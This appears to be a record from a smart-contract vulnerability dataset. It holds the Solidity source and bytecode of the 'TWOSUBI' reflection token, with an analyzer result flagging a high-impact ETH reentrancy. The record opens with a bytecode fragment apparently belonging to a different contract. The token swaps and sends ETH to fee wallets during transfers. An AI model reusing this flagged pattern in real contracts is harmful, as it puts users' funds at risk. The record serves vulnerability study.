505050565b60006137a2826136e6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156137d5576137d46137e0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613c41816136a8565b8114613c4c57600080fd5b50565b613c58816136ba565b8114613c6357600080fd5b50565b613c6f816136e6565b8114613c7a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e4e602da99787583aab8b0811d1c6e90c61cfec9cc2a647c2e0094af3ef7aa9064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,754 |
0x90f741651fa9b97a89894f6d114b66240e885e87
|
/**
*Submitted for verification at Etherscan.io on 2021-06-19
*/
/*
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TWOSUBI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"TWOSUBI" ;
string private constant _symbol = unicode"TWOSUBI";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(1)).div(10);
_teamFee = (_impactFee.mul(9)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 1;
_teamFee = 9;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (30 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 10000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (240 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600781526020017f54574f5355424900000000000000000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f54574f5355424900000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff02191690831515021790555060f042610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b505050678ac7230489e8000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60016009819055506009600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b601e4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b71000000000000000000000000000000000000000000000000000000006000526041600452602460